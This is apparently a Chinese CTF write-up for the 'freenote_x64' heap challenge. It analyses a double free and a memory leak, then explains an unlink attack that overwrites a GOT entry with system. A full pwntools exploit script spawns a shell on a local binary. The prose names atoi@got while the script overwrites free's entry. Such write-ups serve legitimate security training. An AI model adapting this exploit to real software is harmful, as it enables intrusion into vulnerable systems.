double free,unlink 覆写 got 表
# 0x01 程序分析
主函数:
之后
sub_400A49:用户初始堆分配
sub_400998:要求输入一个操作选项
sub_400B14:遍历索引打印所有标号和记录内容
sub_400BC2: 要求输入记录的内容长度和记录内容,然后检测输入长度是否超过最大值,正常则 malloc 一个堆块用来存储记录,然后按输入的长度读取记录内容到堆块:
sub_400D87:编辑,是一个 realloc,可以泄露堆溢出
堆 v2 也就是 size 进行了要求,在最后的 sub_40085D 函数中进行了内容读取,这里没有将字符串结束符读进来因此可以进行内存泄露,泄露偏移和 system 地址。
sub_400f7d:删除功能,依据标号找到相应的记录然后重置索引表为未使用态并 free 掉堆块,存在 double free 漏洞
unlink 思路
- 利用
unsorted bin
的 fd
指针分别泄露出 heap
地址和 libc
地址,这样就得到了最初那个 0x1820
大小的 chunk
的地址
- 利用
realloc
功能来构造 unlink
条件,结合 uaf
漏洞,修改某个 ptr
为 ptr - 0x18
,这个 ptr
在 0x1820
堆块上
- 利用
edit
修改 atoi@got
为 system
地址
- 输入
/bin/sh
拿 shell
# 0x02 漏洞利用
添加四个 Note,释放 note [0] 和 note [2],此时 note [0] 的 bk 指向 note [2] 的 chunk,note [2] 的 bk 指向 main_arena+0x58(两个 chunk 都进入 unsorted bin)
再次添加 2 个 note,payload 长度为 8,注意结尾不要是 \x00
利用 list 泄露 NOTE 管理块的地址和 libc 基地址
将四个 note 全部删除
添加一个 note,长度要能包含进最开始的 3 个 note 的 chunk
伪造一个 chunk,大小为 0x80,fd 为 note [0]-0x18, bk 为 note [0]-0x10,利用 unlink 把 NOTE 管理块中 note [0] 的地址改为 note [0]-0x18
把 note [0] 改为 atoi 的 got,然后编辑 note [0],改为 system 地址
输入 /bin/sh,获取 shell
先申请 4 个 chunk,然后 free (0) 和 free (2),防止合并;然后在申请 2 个 chunk,只写入 8 字节,就可以 leak 出 heap 和 libc 的基地址;
在 heap 基地址偏移 0x30 的地方有我们需要的 NOTE 管理块的地址
# 0x03 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175
|
from pwn import * context.log_level = 'debug'
p=process('./freenote_x64')
libc=ELF('libc-2.23.so')
e=ELF('./freenote_x64')
def List():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(cont):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)
def edit(num,cont):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(num))
p.recvuntil('Length of note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)
def delete(num):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(num))
new('a'*0x80)
new('b'*0x80)
new('c'*0x80)
new('d'*0x80)
delete(0)
delete(2)
new('11111111')
new('22222222')
List()
p.recvuntil('11111111')
s=p.recvuntil('\x0a')
chunk2=u64(s[:-1].ljust(8,'\x00'))
heap_addr=chunk2-0x1940
point_chunk0=heap_addr+0x30
print hex(heap_addr)
delete(1)
delete(2)
delete(3)
payload = p64(0x90)+p64(0x81)+p64(point_chunk0-0x18)+p64(point_chunk0-0x10)
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='c'*0x80+p64(0x90)+p64(0x121)
edit(0,payload)
delete(1)
free_got_addr=e.got['free']
print hex(free_got_addr)
payload2=p64(4)+p64(1)+p64(0x8)+p64(free_got_addr)
payload2+=p64(1)+p64(0x8)+p64(chunk2)
payload2+=p64(1)+p64(0x8)+p64(e.got['atoi'])
payload2+='\x00'*(0x120-80)
edit(0,payload2)
p.recvuntil('Your choice: Invalid!\n')
List()
p.recvuntil('2. ')
atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']
payload3=p64(system_in_server)
edit(0,payload3)
edit(1,"/bin/sh\x00")
delete(1)
p.interactive()
|
# 0x04 参考文章
https://blog.csdn.net/weixin_45427676/article/details/105495608
https://www.cnblogs.com/LynneHuan/p/14869403.html